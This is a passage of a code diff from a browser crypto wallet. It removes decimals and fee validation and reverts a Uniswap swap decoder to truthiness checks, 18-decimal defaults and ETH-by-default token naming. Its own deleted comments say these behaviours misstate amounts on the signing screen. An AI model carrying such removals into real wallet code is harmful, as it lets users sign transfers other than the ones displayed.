-        " decimal places, but the amount was displayed using " +
-        displayed +
-        ", so signing it would move a different amount than the one shown." +
-        " Reopen the wallet to reload this token's details and try again."
-    );
-}
-
-// A decimals value from any source as a number, or null if it is not one.
-// decimals() comes back from ethers as a bigint and the explorer's copy arrives
-// as a string, so both of those are accepted alongside a plain number; anything
-// fractional, negative, out of uint8 range, or of any other type at all is not.
-//
-// The types are enumerated rather than coerced because Number() is far too
-// willing: Number([]) is 0 and Number(true) is 1, so a coercing check would
-// admit an empty array as a scale of zero and encode a whole-token transfer
-// against it. Absence answers null and never a default, and a real scale of
-// ZERO answers 0 — the two are different answers, which is the whole point:
-// a falsy-collapsing `value || 18` cannot tell them apart, and neither can a
-// reader of what it wrote (https://git.eeqj.de/sneak/AutistMask/issues/246).
-//
-// Exported because every module that has to decide whether it knows a token's
-// scale needs exactly this test, and three separate copies of it is three
-// places for the answer to drift: approvalAmount.js resolves the scale the
-// approval screens display at, and balances.js decides what the explorer
-// actually reported before it is stored.
-function toDecimals(value) {
-    let n;
-    if (typeof value === "number") {
-        n = value;
-    } else if (typeof value === "bigint") {
-        if (value < 0n || value > BigInt(MAX_DECIMALS)) return null;
-        n = Number(value);
-    } else if (typeof value === "string") {
-        if (!/^[0-9]+$/.test(value)) return null;
-        n = Number(value);
-    } else {
-        return null;
-    }
-    if (!Number.isInteger(n) || n < 0 || n > MAX_DECIMALS) return null;
-    return n;
-}
-
-// The decimals the confirmation screen rendered an amount with, as a number.
-// Throws when the pending transaction does not carry a usable one — which is
-// also what keeps the gas estimate from quietly estimating a different transfer
-// than the one that would be signed.
-function displayedDecimals(value) {
-    const displayed = toDecimals(value);
-    if (displayed === null) {
-        throw new Error(UNKNOWN_DISPLAYED_DECIMALS_MESSAGE);
-    }
-    return displayed;
-}
-
-// The transfer amount in the token's base units, or a throw. `amount` is the
-// decimal string the user typed and the screen displayed, `displayed` is the
-// scale it was displayed at, and `onChain` is what the contract's decimals()
-// answered at signing time. The two scales must agree.
-function transferAmountUnits(amount, displayed, onChain) {
-    const shown = displayedDecimals(displayed);
-    const reported = toDecimals(onChain);
-    if (reported === null) {
-        throw new Error(UNREADABLE_CONTRACT_DECIMALS_MESSAGE);
-    }
-    if (reported !== shown) {
-        throw new Error(mismatchMessage(shown, reported));
-    }
-    return parseUnits(String(amount), shown);
-}
-
-module.exports = {
-    displayedDecimals,
-    transferAmountUnits,
-    mismatchMessage,
-    toDecimals,
-    MAX_DECIMALS,
-    UNKNOWN_DISPLAYED_DECIMALS_MESSAGE,
-    UNREADABLE_CONTRACT_DECIMALS_MESSAGE,
-};

src/shared/txValidation.js

@@ -1,171 +0,0 @@
-// Balance arithmetic for the transaction confirmation screen.
-//
-// Pure: no DOM, no network, no state. Everything is exact integer math on
-// 18-decimal fixed point (wei for ETH), so it can be unit tested directly
-// instead of through the confirmation view. The caller maps the returned
-// codes to the reserved message elements on the screen.
-//
-// Human decimal strings ("1.25") are scaled to 18 decimals for comparison.
-// That scale is independent of a token's own decimals: both the amount and
-// the token balance arrive as human decimal strings, so comparing them at a
-// common scale is exact.
-
-const { parseUnits } = require("ethers");
-
-const SCALE_DECIMALS = 18;
-
-// Whether the asynchronous fee estimate has arrived yet.
-const FEE_PENDING = "pending";
-const FEE_KNOWN = "known";
-const FEE_UNAVAILABLE = "unavailable";
-
-const CODES = {
-    // The amount is not a non-negative number we can do exact arithmetic on.
-    AMOUNT_INVALID: "amount-invalid",
-    // ERC-20: the token amount exceeds the token balance.
-    INSUFFICIENT_TOKEN: "insufficient-token",
-    // ETH: the amount alone already exceeds the ETH balance.
-    INSUFFICIENT_ETH: "insufficient-eth",
-    // ETH: the amount fits, the amount plus the network fee does not.
-    INSUFFICIENT_ETH_WITH_FEE: "insufficient-eth-with-fee",
-    // ERC-20: the token balance covers the transfer, the ETH balance does
-    // not cover the network fee it costs.
-    INSUFFICIENT_ETH_FOR_FEE: "insufficient-eth-for-fee",
-    // The fee estimate has not arrived yet.
-    FEE_PENDING: "fee-pending",
-    // The fee estimate failed. Unknown is never treated as zero.
-    FEE_UNAVAILABLE: "fee-unavailable",
-};
-
-// The fee that must be reserved for a transaction, in wei: the amount the
-// node will require, not the amount the transaction is expected to cost.
-//
-// A send that pins no fee fields is populated by ethers as a type-2
-// (EIP-1559) transaction, and a node validates that against
-// `value + gasLimit * maxFeePerGas`. ethers derives maxFeePerGas as
-// `baseFeePerGas * 2 + maxPriorityFeePerGas`, so reserving `gasPrice`
-// (roughly `baseFee + tip`) under-reserves by about `gasLimit * baseFee` and
-// lets through a transaction the node then rejects with "insufficient funds
-// for gas * price + value". gasPrice is the fallback only for a network that
-// offers no type-2 pricing at all.
-//
-// Returns null when no usable price is available, which the caller must treat
-// as a failed estimate rather than as a free transaction.
-function feeReserveWei(gasLimit, feeData) {
-    if (typeof gasLimit !== "bigint" || gasLimit < 0n) return null;
-    const price = feeData?.maxFeePerGas ?? feeData?.gasPrice;
-    if (typeof price !== "bigint" || price < 0n) return null;
-    return gasLimit * price;
-}
-
-// What the transaction is expected to actually cost, in wei — not what must
-// be reserved for it. A type-2 transaction is charged `baseFee + tip` per gas
-// and refunded the rest of the cap, and `eth_gasPrice` reports roughly that,
-// so gasPrice is the estimate and maxFeePerGas is the reserve. On a network
-// with no type-2 pricing the two are the same number.
-//
-// Display only: nothing gates on this. Returns null on the same unusable
-// inputs as feeReserveWei().
-function feeEstimateWei(gasLimit, feeData) {
-    if (typeof gasLimit !== "bigint" || gasLimit < 0n) return null;
-    const price = feeData?.gasPrice ?? feeData?.maxFeePerGas;
-    if (typeof price !== "bigint" || price < 0n) return null;
-    return gasLimit * price;
-}
-
-// Scale a human decimal string to 18-decimal fixed point. Returns null when
-// the value is not a decimal number or carries more precision than the scale
-// can hold, which the caller must treat as unusable rather than as zero.
-function toFixedPoint(value) {
-    if (typeof value !== "string" && typeof value !== "number") return null;
-    const text = String(value).trim();
-    if (text === "") return null;
-    try {
-        return parseUnits(text, SCALE_DECIMALS);
-    } catch {
-        return null;
-    }
-}
-
-// Validate a pending transfer against the balances that must cover it.
-//
-//   isErc20      — token transfer rather than a native ETH transfer
-//   amount       — human decimal string being sent, non-negative. Anything
-//                  else, a negative value included, is an unusable amount
-//                  rather than an amount that passes every comparison.
-//   ethBalance   — human decimal string, the sender's ETH balance
-//   tokenBalance — human decimal string, the sender's token balance
-//   feeStatus    — FEE_PENDING, FEE_KNOWN or FEE_UNAVAILABLE. Anything else
-//                  is treated as FEE_UNAVAILABLE.
-//   feeWei       — the fee reserve in wei from feeReserveWei(), as a
-//                  non-negative bigint, when FEE_KNOWN. Any other value makes
-//                  the fee unavailable rather than zero.
-//
-// Returns { canSend, codes }. Every code blocks sending: canSend is true
-// only when nothing was found.
-function validateTransfer({
-    isErc20 = false,
-    amount,
-    ethBalance,
-    tokenBalance,
-    feeStatus = FEE_PENDING,
-    feeWei = null,
-} = {}) {
-    const codes = [];
-
-    const amountFp = toFixedPoint(amount);
-    const ethFp = toFixedPoint(ethBalance) ?? 0n;
-
-    // A negative amount parses to a valid bigint, so every comparison below
-    // is trivially false and the send clears the screen — then dies at encode
-    // time in parseEther(). Unusable, on the same footing as a malformed fee.
-    if (amountFp === null || amountFp < 0n) {
-        codes.push(CODES.AMOUNT_INVALID);
-        return { canSend: false, codes };
-    }
-
-    // Fail closed. Anything that is not a usable fee under a recognised
-    // status — a malformed feeWei, or a status this module does not know —
-    // is an unavailable estimate, never a fee of zero. Every such input errs
-    // in the direction that lets money out, so none of them is trusted.
-    const known =
-        feeStatus === FEE_KNOWN && typeof feeWei === "bigint" && feeWei >= 0n;
-    let status = feeStatus;
-    if (feeStatus === FEE_KNOWN && !known) status = FEE_UNAVAILABLE;
-    if (status !== FEE_KNOWN && status !== FEE_PENDING) {
-        status = FEE_UNAVAILABLE;
-    }
-
-    const feeFp = known ? feeWei : null;
-
-    if (isErc20) {
-        const tokenFp = toFixedPoint(tokenBalance) ?? 0n;
-        if (amountFp > tokenFp) codes.push(CODES.INSUFFICIENT_TOKEN);
-        if (feeFp !== null && feeFp > ethFp) {
-            codes.push(CODES.INSUFFICIENT_ETH_FOR_FEE);
-        }
-    } else if (amountFp > ethFp) {
-        codes.push(CODES.INSUFFICIENT_ETH);
-    } else if (feeFp !== null && amountFp + feeFp > ethFp) {
-        codes.push(CODES.INSUFFICIENT_ETH_WITH_FEE);
-    }
-
-    // An unknown fee is never assumed to be zero: sending stays blocked
-    // until the estimate arrives, and stays blocked if it never does.
-    if (status === FEE_PENDING) codes.push(CODES.FEE_PENDING);
-    if (status === FEE_UNAVAILABLE) codes.push(CODES.FEE_UNAVAILABLE);
-
-    return { canSend: codes.length === 0, codes };
-}
-
-module.exports = {
-    CODES,
-    FEE_PENDING,
-    FEE_KNOWN,
-    FEE_UNAVAILABLE,
-    SCALE_DECIMALS,
-    feeReserveWei,
-    feeEstimateWei,
-    toFixedPoint,
-    validateTransfer,
-};

src/shared/uniswap.js

@@ -3,11 +3,6 @@
 
 const { Interface, AbiCoder, getBytes, formatUnits } = require("ethers");
 const { TOKEN_BY_ADDRESS } = require("./tokenList");
-const { truncateAmountNeverZero } = require("./amountDisplay");
-const {
-    resolveTokenDecimals,
-    unknownDecimalsAmount,
-} = require("./approvalAmount");
 
 const coder = AbiCoder.defaultAbiCoder();
 
@@ -39,112 +34,20 @@ const COMMAND_NAMES = {
     0x21: "Execute Sub-Plan",
 };
 
-// The swap's Amount and Min. received lines land on the same approval screen,
-// and Amount is carried to the wait/success/error screens as the ERC-20 line
-// is, so they take the same nonzero floor: a swap of an amount below 0.0001 is
-// not "0.0000", and a slippage floor of one base unit does not read as "you may
-// receive nothing".
 function formatAmount(raw, decimals) {
-    return truncateAmountNeverZero(formatUnits(raw, decimals));
+    const parts = formatUnits(raw, decimals).split(".");
+    if (parts.length === 1) return parts[0] + ".0000";
+    const dec = (parts[1] + "0000").slice(0, 4);
+    return parts[0] + "." + dec;
 }
 
-// One wording for either side of the screen: a currency the calldata never
-// named. It reads as a refusal, the same stance unknownDecimalsAmount() takes
-// on a scale — not as a token name, and not as a quantity.
-const UNNAMED_CURRENCY = "Unknown (not named in the calldata)";
-
-// Explicit presence, never truthiness. Every gate in this file that guards a
-// decoded value goes through here: an address is never falsy once set, but an
-// amount of 0n is, and a gate that cannot tell a genuine zero from an absent
-// value is the trap this decoder has now been bitten by five times.
-function present(value) {
-    return value !== null && value !== undefined;
-}
-
-// Uniswap V4 spells "use the whole open delta" as an amount of zero:
-// v4-periphery `src/libraries/ActionConstants.sol` declares
-// `uint128 internal constant OPEN_DELTA = 0` ("used to signal that an action
-// should use the input value of the open delta on the pool manager or of the
-// balance that the contract holds"), and `src/V4Router.sol` substitutes the
-// full open credit whenever an exact-in swap action's `amountIn` equals it:
-//
-//     uint128 amountIn = params.amountIn;
-//     if (amountIn == ActionConstants.OPEN_DELTA) {
-//         amountIn = _getFullCredit(...).toUint128();
-//     }
-//
-// in both `_swapExactInputSingle` and `_swapExactInput`. Sentinel and literal
-// zero are the same uint128 word, so the encoding CANNOT distinguish them —
-// and the router does not try: it reads every zero as the sentinel, so in V4
-// there is no such thing as an exact-in swap of literally zero. The amount is
-// therefore not stated by the calldata at all; it is whatever credit is open
-// at execution time. It is carried as this sentinel rather than as 0n because
-// printing "0.0000" would state the exact inverse of what will happen —
-// "nothing is being swapped" for a step that swaps the entire balance.
-//
-// `amountOutMinimum` gets no such mapping: V4Router compares it directly
-// (`if (amountOut < params.amountOutMinimum) revert V4TooLittleReceived`), so
-// a zero minimum is a literal zero slippage floor and is stated as one. Nor do
-// the V2/V3 paths have it — universal-router's `V3SwapRouter.v3SwapExactInput`
-// special-cases only `ActionConstants.CONTRACT_BALANCE` (1<<255), never zero —
-// so a zero `amountIn` there is a literal zero and is displayed as one.
-const OPEN_DELTA = Symbol("v4-open-delta");
-
-// The two amount lines that state a fact instead of a quantity. Same register
-// as UNNAMED_CURRENCY — a sentence in the value slot, so it cannot be misread
-// as a number — and deliberately not a third phrasing of "not named": these
-// say different things.
-const OPEN_DELTA_AMOUNT = "All available (V4 open delta)";
-const NO_MINIMUM = "None (no minimum guaranteed)";
-
-// Permit2 amounts are uint160; the maximum is Permit2's "unbounded".
-const MAX_UINT160 = BigInt("0xffffffffffffffffffffffffffffffffffffffff");
-
-// `decimals` is null when nothing knows this token's scale. It is not
-// defaulted to 18: the swap lines land on the same approval screen as the
-// ERC-20 line, and a scale guessed there is what showed a 1,000 USDT swap as
-// 0.000000000001. `sources` is { trackedTokens, wallets }, shaped as they are
-// on `state`; resolveTokenDecimals() reads the bundled list, then those.
-//
-// A null `address` means UNDETERMINED — the calldata named no currency for
-// that side — and is refused rather than named. It is not native ETH: Uniswap
-// V4 spells native ETH as `Currency.wrap(address(0))` (v4-core
-// `type Currency is address`), and a Currency is ABI-encoded as a plain
-// address word, so every decode site here gets back the truthy string
-// "0x0000000000000000000000000000000000000000" for it — never null. WRAP_ETH
-// sets that same explicit zero address, and an UNWRAP_WETH output is caught by
-// its caller before this is consulted, so nothing that genuinely is ETH
-// arrives null. Naming a null ETH states the wrong asset and formats its
-// amount at the wrong scale.
-function tokenInfo(address, sources) {
-    if (!address) {
-        return { symbol: null, decimals: null, address: null };
-    }
-    if (address === "0x0000000000000000000000000000000000000000") {
+function tokenInfo(address) {
+    if (!address || address === "0x0000000000000000000000000000000000000000") {
         return { symbol: "ETH", decimals: 18, address: null };
     }
     const t = TOKEN_BY_ADDRESS.get(address.toLowerCase());
-    return {
-        symbol: t ? t.symbol : null,
-        decimals: resolveTokenDecimals(address, sources),
-        address,
-    };
-}
-
-// A swap amount line. With a scale it is the token quantity; with none it is
-// the base-unit integer with the unknown scale stated, the same refusal the
-// ERC-20 amount line makes, so the screen has one way of saying it. `display`
-// is the line on the screen, `raw` is what the status screens carry.
-function amountText(raw, info) {
-    if (info.decimals === null) {
-        const unknown = unknownDecimalsAmount(raw);
-        return { raw: unknown, display: unknown };
-    }
-    const formatted = formatAmount(raw, info.decimals);
-    return {
-        raw: formatted,
-        display: formatted + (info.symbol ? " " + info.symbol : ""),
-    };
+    if (t) return { symbol: t.symbol, decimals: t.decimals, address };
+    return { symbol: null, decimals: 18, address };
 }
 
 // Decode PERMIT2_PERMIT (command 0x0a) input bytes.
@@ -199,11 +102,6 @@ function decodeV2SwapExactIn(input) {
 // Decode V2_SWAP_EXACT_OUT (command 0x09) input bytes.
 // ABI: (address recipient, uint256 amountOut, uint256 amountInMax,
 //        address[] path, bool payerIsUser)
-//
-// Nothing calls this: decode() has no 0x09 arm, so a V2 exact-out swap gets
-// its command name and no token or amount detail. Kept for the fix, which is
-// https://git.eeqj.de/sneak/AutistMask/issues/283.
-// eslint-disable-next-line no-unused-vars
 function decodeV2SwapExactOut(input) {
     try {
         const d = coder.decode(
@@ -271,14 +169,6 @@ const V4_SWAP_EXACT_OUT = 0x09;
 const V4_SETTLE = 0x0b;
 const V4_TAKE = 0x0e;
 
-// A V4 exact-in `amountIn`, read the way V4Router reads it: zero is
-// ActionConstants.OPEN_DELTA, not a quantity of zero. See the OPEN_DELTA
-// comment above. The exact-OUT actions below decode no amounts at all, so
-// their own OPEN_DELTA mapping on `amountOut` never reaches the screen.
-function v4ExactInAmount(raw) {
-    return raw === 0n ? OPEN_DELTA : raw;
-}
-
 // Decode V4_SWAP (command 0x10) input bytes.
 // The input is ABI-encoded as (bytes actions, bytes[] params).
 // We extract token addresses from SETTLE (input) and TAKE (output) sub-actions,
@@ -327,17 +217,13 @@ function decodeV4Swap(input) {
                                 ],
                                 params[i],
                             );
-                            if (!present(settleToken)) settleToken = s[0][0];
+                            if (!settleToken) settleToken = s[0][0];
                             const path = s[0][1];
-                            if (path.length > 0 && !present(takeToken)) {
+                            if (path.length > 0 && !takeToken) {
                                 takeToken = path[path.length - 1][0];
                             }
-                            if (!present(amountIn)) {
-                                amountIn = v4ExactInAmount(s[0][2]);
-                            }
-                            if (!present(amountOutMin)) {
-                                amountOutMin = s[0][3];
-                            }
+                            if (!amountIn) amountIn = s[0][2];
+                            if (!amountOutMin) amountOutMin = s[0][3];
                         } catch {
                             // Fall through — SETTLE/TAKE will provide tokens
                         }
@@ -353,20 +239,16 @@ function decodeV4Swap(input) {
                             );
                             const poolKey = s[0][0];
                             const zeroForOne = s[0][1];
-                            if (!present(settleToken))
+                            if (!settleToken)
                                 settleToken = zeroForOne
                                     ? poolKey[0]
                                     : poolKey[1];
-                            if (!present(takeToken))
+                            if (!takeToken)
                                 takeToken = zeroForOne
                                     ? poolKey[1]
                                     : poolKey[0];
-                            if (!present(amountIn)) {
-                                amountIn = v4ExactInAmount(s[0][2]);
-                            }
-                            if (!present(amountOutMin)) {
-                                amountOutMin = s[0][3];
-                            }
+                            if (!amountIn) amountIn = s[0][2];
+                            if (!amountOutMin) amountOutMin = s[0][3];
                         } catch {
                             // Fall through
                         }
@@ -383,9 +265,9 @@ function decodeV4Swap(input) {
                                 ],
                                 params[i],
                             );
-                            if (!present(takeToken)) takeToken = s[0][0];
+                            if (!takeToken) takeToken = s[0][0];
                             const path = s[0][1];
-                            if (path.length > 0 && !present(settleToken)) {
+                            if (path.length > 0 && !settleToken) {
                                 settleToken = path[path.length - 1][0];
                             }
                         } catch {
@@ -401,11 +283,11 @@ function decodeV4Swap(input) {
                             );
                             const poolKey = s[0][0];
                             const zeroForOne = s[0][1];
-                            if (!present(settleToken))
+                            if (!settleToken)
                                 settleToken = zeroForOne
                                     ? poolKey[0]
                                     : poolKey[1];
-                            if (!present(takeToken))
+                            if (!takeToken)
                                 takeToken = zeroForOne
                                     ? poolKey[1]
                                     : poolKey[0];
@@ -433,7 +315,7 @@ function decodeV4Swap(input) {
 // Try to decode a Universal Router execute() call.
 // Returns { name, description, details } matching the format used by
 // the approval UI, or null if the calldata is not a recognised execute().
-function decode(data, toAddress, sources) {
+function decode(data, toAddress) {
     try {
         const parsed = ROUTER_IFACE.parseTransaction({ data });
         if (!parsed) return null;
@@ -444,44 +326,11 @@ function decode(data, toAddress, sources) {
 
         let inputToken = null;
         let inputAmount = null;
-        let inputEstablished = false;
         let outputToken = null;
         let minOutput = null;
         let hasUnwrapWeth = false;
         const commandNames = [];
 
-        // THE INVARIANT: an amount and the token it is counted in always come
-        // from the same hop. A figure is never rendered against a token that
-        // did not supply it.
-        //
-        // Both sides are therefore set as a PAIR — never field by field, and
-        // never on truthiness. An address is never falsy once set but an
-        // amount of 0n is, so gating the two halves independently let a hop
-        // with a zero amount fix the token and leave the amount open; the next
-        // hop's figure was then displayed against the first hop's token, at the
-        // first hop's scale. A V3 USDT->WETH hop with amountIn 0 followed by a
-        // V2 WETH->USDC hop of 0.5e18 rendered "500000000000.0000 USDT".
-        //
-        // The input side is fixed by the first hop that states either half, the
-        // output side by the last, because the final leg is what the user
-        // receives. A half the establishing hop did not state stays null and
-        // the line says so, rather than being filled in from a different hop.
-        const setInput = (token, amount) => {
-            inputToken = present(token) ? token : null;
-            inputAmount = present(amount) ? amount : null;
-            inputEstablished = true;
-        };
-        const setInputOnce = (token, amount) => {
-            if (inputEstablished) return;
-            if (!present(token) && !present(amount)) return;
-            setInput(token, amount);
-        };
-        const setOutput = (token, amount) => {
-            if (!present(token) && !present(amount)) return;
-            outputToken = present(token) ? token : null;
-            minOutput = present(amount) ? amount : null;
-        };
-
         for (let i = 0; i < commandsBytes.length; i++) {
             const cmdId = commandsBytes[i] & 0x1f;
             commandNames.push(
@@ -492,61 +341,61 @@ function decode(data, toAddress, sources) {
             try {
                 if (cmdId === 0x0a) {
                     const p = decodePermit2(inputs[i]);
-                    // A permit states both halves itself, so it may replace an
-                    // input side an earlier hop established without breaking
-                    // the invariant.
-                    if (p) setInput(p.token, p.amount);
+                    if (p) {
+                        inputToken = p.token;
+                        inputAmount = p.amount;
+                    }
                 }
 
                 if (cmdId === 0x0e) {
                     const b = decodeBalanceCheck(inputs[i]);
-                    if (b) setOutput(b.token, b.minBalance);
+                    if (b) {
+                        outputToken = b.token;
+                        minOutput = b.minBalance;
+                    }
                 }
 
                 if (cmdId === 0x00) {
                     const s = decodeV3SwapExactIn(inputs[i]);
                     if (s) {
-                        setInputOnce(s.tokenIn, s.amountIn);
+                        if (!inputToken) inputToken = s.tokenIn;
+                        if (!inputAmount) inputAmount = s.amountIn;
                         // Always update output: in multi-step swaps (V3 → V4),
                         // the last swap step determines the final output token
                         // and minimum received amount.
-                        setOutput(s.tokenOut, s.amountOutMin);
+                        outputToken = s.tokenOut;
+                        minOutput = s.amountOutMin;
                     }
                 }
 
                 if (cmdId === 0x08) {
                     const s = decodeV2SwapExactIn(inputs[i]);
                     if (s) {
-                        setInputOnce(s.tokenIn, s.amountIn);
-                        setOutput(s.tokenOut, s.amountOutMin);
+                        if (!inputToken) inputToken = s.tokenIn;
+                        if (!inputAmount) inputAmount = s.amountIn;
+                        outputToken = s.tokenOut;
+                        minOutput = s.amountOutMin;
                     }
                 }
 
                 if (cmdId === 0x0b) {
                     const w = decodeWrapEth(inputs[i]);
-                    if (w) {
-                        setInputOnce(
-                            "0x0000000000000000000000000000000000000000",
-                            w.amount,
-                        );
+                    if (w && !inputToken) {
+                        inputToken =
+                            "0x0000000000000000000000000000000000000000";
+                        inputAmount = w.amount;
                     }
                 }
 
                 if (cmdId === 0x10) {
                     const v4 = decodeV4Swap(inputs[i]);
                     if (v4) {
-                        setInputOnce(v4.tokenIn, v4.amountIn);
-                        // Always update output: last swap step wins. A step
-                        // that carries the Min. received figure but decoded no
-                        // output currency makes the output *undetermined* — it
-                        // is neither ETH nor whatever an earlier step named,
-                        // and that figure is no longer counted in that token.
-                        // Equally, a step that names an output currency but no
-                        // minimum leaves Min. received unstated rather than
-                        // keeping an earlier step's figure beside the new
-                        // token. setOutput() is both rules; a step that states
-                        // neither half leaves the output alone.
-                        setOutput(v4.tokenOut, v4.amountOutMin);
+                        if (!inputToken && v4.tokenIn) inputToken = v4.tokenIn;
+                        if (!inputAmount && v4.amountIn)
+                            inputAmount = v4.amountIn;
+                        // Always update output: last swap step wins
+                        if (v4.tokenOut) outputToken = v4.tokenOut;
+                        if (v4.amountOutMin) minOutput = v4.amountOutMin;
                     }
                 }
 
@@ -558,14 +407,11 @@ function decode(data, toAddress, sources) {
             }
         }
 
-        // Resolve token info. A null token on either side means the calldata
-        // named no currency for it; tokenInfo() refuses rather than calling it
-        // ETH. UNWRAP_WETH is the one output that is ETH without a currency to
-        // decode, and it is answered here rather than left to that rule.
-        const inInfo = tokenInfo(inputToken, sources);
+        // Resolve token info
+        const inInfo = tokenInfo(inputToken);
         const outInfo = hasUnwrapWeth
             ? { symbol: "ETH", decimals: 18, address: null }
-            : tokenInfo(outputToken, sources);
+            : tokenInfo(outputToken);
 
         const inSymbol = inInfo.symbol;
         const outSymbol = outInfo.symbol;
@@ -583,7 +429,7 @@ function decode(data, toAddress, sources) {
             address: toAddress,
         });
 
-        if (present(inputToken) && present(inInfo.address)) {
+        if (inputToken && inInfo.address) {
             const label = inSymbol
                 ? inSymbol + " (" + inputToken + ")"
                 : inputToken;
@@ -595,74 +441,47 @@ function decode(data, toAddress, sources) {
             });
         } else if (inSymbol === "ETH") {
             details.push({ label: "Token In", value: "ETH (native)" });
-        } else {
-            // Nothing established the input token, so the line says that
-            // rather than going missing or naming a token by default. Same
-            // wording as the Token Out refusal below: the two sides of this
-            // screen must not describe the same condition in two ways.
-            details.push({ label: "Token In", value: UNNAMED_CURRENCY });
         }
 
-        if (present(inputAmount)) {
-            // Two amounts need no scale to describe and are named rather than
-            // formatted: V4's open delta, which is not a quantity at all (see
-            // OPEN_DELTA), and an unbounded permit. The open-delta test comes
-            // first — the sentinel is not a bigint and cannot be compared with
-            // one.
-            let amount;
-            if (inputAmount === OPEN_DELTA) {
-                amount = { raw: OPEN_DELTA_AMOUNT, display: OPEN_DELTA_AMOUNT };
-            } else if (inputAmount >= MAX_UINT160) {
-                amount = { raw: "Unlimited", display: "Unlimited" };
-            } else {
-                amount = amountText(inputAmount, inInfo);
-            }
+        if (inputAmount !== null && inputAmount !== undefined) {
+            const maxUint160 = BigInt(
+                "0xffffffffffffffffffffffffffffffffffffffff",
+            );
+            const isUnlimited = inputAmount >= maxUint160;
+            const amountRaw = isUnlimited
+                ? "Unlimited"
+                : formatAmount(inputAmount, inInfo.decimals);
+            const amountStr = isUnlimited
+                ? "Unlimited"
+                : amountRaw + (inSymbol ? " " + inSymbol : "");
             details.push({
                 label: "Amount",
-                value: amount.display,
-                rawValue: amount.raw,
+                value: amountStr,
+                rawValue: amountRaw,
             });
         }
 
-        // Keyed on the address, not the symbol: a token absent from the
-        // bundled list has no symbol, and gating the line on one dropped it
-        // entirely, leaving a Min. received figure with nothing saying what is
-        // being received. The Token In line above already falls back to the
-        // address; this does the same.
-        if (present(outInfo.address)) {
-            const label = outSymbol
-                ? outSymbol + " (" + outInfo.address + ")"
-                : outInfo.address;
-            details.push({
-                label: "Token Out",
-                value: label,
-                address: outInfo.address,
-                isToken: true,
-            });
-        } else if (outSymbol) {
-            details.push({ label: "Token Out", value: outSymbol });
-        } else {
-            // Nothing established the output token, so the line says that
-            // rather than going missing or naming a token by default, and a
-            // Min. received figure below it is never attached to a token the
-            // calldata did not state.
-            details.push({ label: "Token Out", value: UNNAMED_CURRENCY });
+        if (outSymbol) {
+            if (outInfo.address) {
+                const label = outSymbol
+                    ? outSymbol + " (" + outputToken + ")"
+                    : outputToken;
+                details.push({
+                    label: "Token Out",
+                    value: label,
+                    address: outputToken,
+                    isToken: true,
+                });
+            } else {
+                details.push({ label: "Token Out", value: outSymbol });
+            }
         }
 
-        if (present(minOutput)) {
-            // A zero floor is the one case the user most needs stated: the
-            // swap guarantees nothing back. It is said in words, in the same
-            // register as UNNAMED_CURRENCY, because "0.0000 WETH" reads as an
-            // artifact of the four-decimal rule rather than as "this may
-            // return nothing" — and because it is true at every scale, so it
-            // holds even when the output token's decimals are unknown.
-            details.push({
-                label: "Min. received",
-                value:
-                    minOutput === 0n
-                        ? NO_MINIMUM
-                        : amountText(minOutput, outInfo).display,
-            });
+        if (minOutput !== null && minOutput !== undefined) {
+            const minStr =
+                formatAmount(minOutput, outInfo.decimals) +
+                (outSymbol ? " " + outSymbol : "");
+            details.push({ label: "Min. received", value: minStr });
         }
 
         details.push({ label: "Steps", value: commandNames.join(" \u2192 ") });

src/shared/vault.js

@@ -1,80 +1,14 @@
 // Vault: password-based encryption of secrets using libsodium.
 // Uses Argon2id for key derivation and XSalsa20-Poly1305 for encryption.
 // All crypto operations are delegated to libsodium — no raw primitives.
-//
-// Backend: WebAssembly, deliberately (#182).
-//
-// libsodium ships one file containing both a WebAssembly build and a
-// wasm2js ("asm.js") translation of it. It tries WASM first and, if
-// instantiation throws, silently swaps in the translation. An extension
-// CSP of plain script-src 'self' refuses WASM, so every popup load used
-// to take that fallback — announced by nothing but an uncaught
-// CompileError in the console.
-//
-// Measured here, same Argon2id parameters (OPSLIMIT_INTERACTIVE,
-// MEMLIMIT_INTERACTIVE = 2 passes over 64MiB), node 22 on this machine:
-// WASM 141-198ms per derivation, wasm2js 3204-3660ms. The work factor is
-// identical either way — it is set by the ops/mem parameters, not by wall
-// time — so the fallback bought no security, it only made every password
-// operation take three and a half seconds, and the wallet asks for the
-// password on every signature.
-//
-// So both manifests declare 'wasm-unsafe-eval' for extension pages. That
-// keyword permits compiling WebAssembly and nothing else: not eval() of
-// strings, not inline script, not remote script. Reaching it requires
-// already executing script in the extension page, which is total
-// compromise on its own. 'unsafe-eval' would be a different matter and is
-// not granted. tests/manifest.test.js pins both policies to exactly
-// "'self' 'wasm-unsafe-eval'" so neither the grant nor the surrounding
-// strictness can drift unnoticed.
-//
-// The fallback still exists, and a wallet that refuses to decrypt is
-// worse than a slow one, so it is not disabled — it is made loud:
-// cryptoBackend() reports which backend this realm can run, ensureReady()
-// logs an error if it is not WASM, tests/vaultBackend.test.js asserts the
-// unit tests exercise the WASM backend, and the end-to-end suite asserts
-// it in the real popup under the real manifest.
 
 const sodium = require("libsodium-wrappers-sumo");
-const { log } = require("./log");
-
-// An empty WebAssembly module: the 8-byte magic number and version header,
-// no sections. Compiling it asks the cheapest possible form of the only
-// question that matters here — may this realm compile WebAssembly at all —
-// which is exactly what a CSP without 'wasm-unsafe-eval' refuses, and
-// exactly what decides which backend libsodium ends up on.
-const EMPTY_WASM_MODULE = new Uint8Array([
-    0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
-]);
-
-// "wasm" or "asmjs": whether this realm may compile WebAssembly, which is
-// what decides libsodium's backend when the CSP is the reason it cannot —
-// the case this codebase guards. It probes the realm, not libsodium, so a
-// fallback taken for some other reason (allocation failure, corrupt module)
-// would not be caught here; tests/vaultBackend.test.js checks libsodium's
-// own marker directly.
-async function cryptoBackend() {
-    try {
-        await WebAssembly.compile(EMPTY_WASM_MODULE);
-        return "wasm";
-    } catch {
-        return "asmjs";
-    }
-}
 
 let ready = false;
 
 async function ensureReady() {
     if (!ready) {
         await sodium.ready;
-        if ((await cryptoBackend()) !== "wasm") {
-            log.errorf(
-                "libsodium is running on the wasm2js fallback: this realm " +
-                    "refuses to compile WebAssembly, so every password " +
-                    "derivation costs roughly 20x what it should. See the " +
-                    "backend note in src/shared/vault.js.",
-            );
-        }
         ready = true;
     }
 }
@@ -125,4 +59,4 @@ async function decryptWithPassword(encrypted, password) {
     return sodium.to_string(plaintext);
 }
 
-module.exports = { cryptoBackend, decryptWithPassword, encryptWithPassword };
+module.exports = { encryptWithPassword, decryptWithPassword };

src/shared/wallet.js

@@ -16,60 +16,8 @@ function generateMnemonic() {
     return m.phrase;
 }
 
-// Every extended key (xprv or xpub) entering the app goes through this.
-//
